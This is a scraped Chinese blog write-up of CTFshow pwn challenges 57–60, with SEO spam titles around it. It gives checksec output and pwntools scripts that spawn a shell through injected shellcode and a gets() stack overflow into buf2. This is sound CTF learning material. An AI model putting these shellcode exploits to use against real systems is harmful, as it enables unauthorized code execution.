当前位置: 首页 > news >正文

潍坊网站制作公司绵阳 网站开发 公司

潍坊网站制作公司,绵阳 网站开发 公司,wordpress 测速,宠物网站建设内容目录 前言 一、pwn57(先了解一下简单的64位shellcode吧) 二、pwn58 三、pwn59(64位 无限制) 四、pwn60(入门难度shellcode) 前言 往前写了几道题,与shellcode有关,关于shellc…

目录

前言

一、pwn57(先了解一下简单的64位shellcode吧)

二、pwn58

三、pwn59(64位 无限制)

四、pwn60(入门难度shellcode)

前言

往前写了几道题,与shellcode有关,关于shellcode还不是太懂。


一、pwn57(先了解一下简单的64位shellcode吧

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn57
[*] '/home/kali/桌面/ctfshoww/pwn57'Arch:       amd64-64-littleRELRO:      No RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x400000)Stack:      ExecutableStripped:   No

没啥。

应该也是直接执行:

from pwn import *
p=remote("pwn.challenge.ctf.show",28235)
p.interactive()


二、pwn58

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn58
[*] '/home/kali/桌面/ctfshoww/pwn58'Arch:       i386-32-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x8048000)Stack:      ExecutableRWX:        Has RWX segmentsStripped:   No

也没有开啥保护。

logo明显提示用shellcode,所以我们需要发送sellcode。

Exp:

from pwn import *
e=ELF("./pwn58")
p=remote("pwn.challenge.ctf.show",28178)
shellcode=asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()


三、pwn59(64位 无限制

Checksec:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn59
[*] '/home/kali/桌面/ctfshoww/pwn59'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x400000)Stack:      ExecutableRWX:        Has RWX segments
Stripped:   No

是64位的64位 无限制

也是写入shellcode。

看一下ROP:

ROPgadget --binary ./pwn50 --only "pop rbx|ret"

Gadgets information
============================================================
0x00000000004004fe : ret
0x0000000000400d74 : ret 0xfff9
0x0000000000400642 : ret 1Unique gadgets found: 3

ret=0x4004fe

一开始我是这样写的;

from pwn import *
p = remote('pwn.challenge.ctf.show',28256)
shellcode = asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()

但是打不通,问了问人机,加了一个架构,就能打通了:

from pwn import *
context.arch='amd64'
p = remote('pwn.challenge.ctf.show',28256)
shellcode = asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()


四、pwn60入门难度shellcode

查看一下程序:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn60
[*] '/home/kali/桌面/ctfshoww/pwn60'Arch:       i386-32-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x8048000)Stack:      ExecutableRWX:        Has RWX segmentsStripped:   NoDebuginfo:  Yes

没开什么保护。

主要是这个函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("CTFshow-pwn can u pwn me here!!");gets((char *)&v4);strncpy(buf2, (const char *)&v4, 0x64u);printf("See you ~");return 0;
}

我们需要利用buf2,在其后面接shellcode

buf2_ar=0x804A080

我们需要用pwndbg确定一下:

确定偏移是112

Exp:

from pwn import *
context.log_level='debug'
p=remote("pwn.challenge.ctf.show",28264)
e=ELF("./pwn60")
buf2_ar=e.sym['buf2']
offset=112
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(offset,b'a')+p32(buf2_ar)
p.recvuntil("CTFshow-pwn can u pwn me here!!")
p.sendline(payload)
p.interactive()


继续学习中......

http://www.yayakq.cn/news/489835/

相关文章:

  • 珠海网站建设熊掌号那些公司做网站比较厉害
  • 如何给网站做高质量外链免费的黄冈 投放平台有哪些
  • 自己怎么做云购网站滁州商业网站建设
  • 电子商务网站制作公司wordpress移动端导航菜单
  • 网站建设 王卫洲电商小程序免费开店
  • 网站建设属于硬件还是软件贵州省住房及城乡建设部网站
  • 淘宝客网站免费做东莞阳光网官网手机版
  • 石家庄专门做网站做网站别人输账号代码
  • 私人怎么做网站快速排名软件哪个好
  • 做网站的收钱不管了品牌画册设计公司网址
  • 国内谷歌网站SEO优化非法网站开发者刑事责任
  • 小说网站收录了怎么做排名如何注册公司名字
  • 网站开发工程师 英文seo关键词排名教程
  • 南通建设厅网站常州建站程序
  • 网站开发选题依据传统企业网站建设
  • 网站建设公司行业描述设计需要的软件
  • 厦门小型网站建设网站正在建设 下载
  • 上海优化排名网站深圳宝安中学家长群
  • 厦门公司注册网站网站正能量
  • 网站备案初审时间筑龙网官网首页
  • asp新闻发布网站模板下载为什么要建设个人网站
  • 网站内页一般多久收录深圳坪山天气预报15天
  • 徐州网站建设方案书济南哪有做网站的
  • 商城网站制作教程网站 新媒体建设情况
  • 昆明招工网站找普工作建设工作美术培训学校网站模板
  • 怎样自己做免费网站怎样在百度上发帖子
  • 营销手段和技巧黄山seo排名优化技术
  • 石家庄网站建设招聘怎么做网站的内链
  • 网站建设渠道seo网站推广价格
  • 网站行业代理注册公司注意什么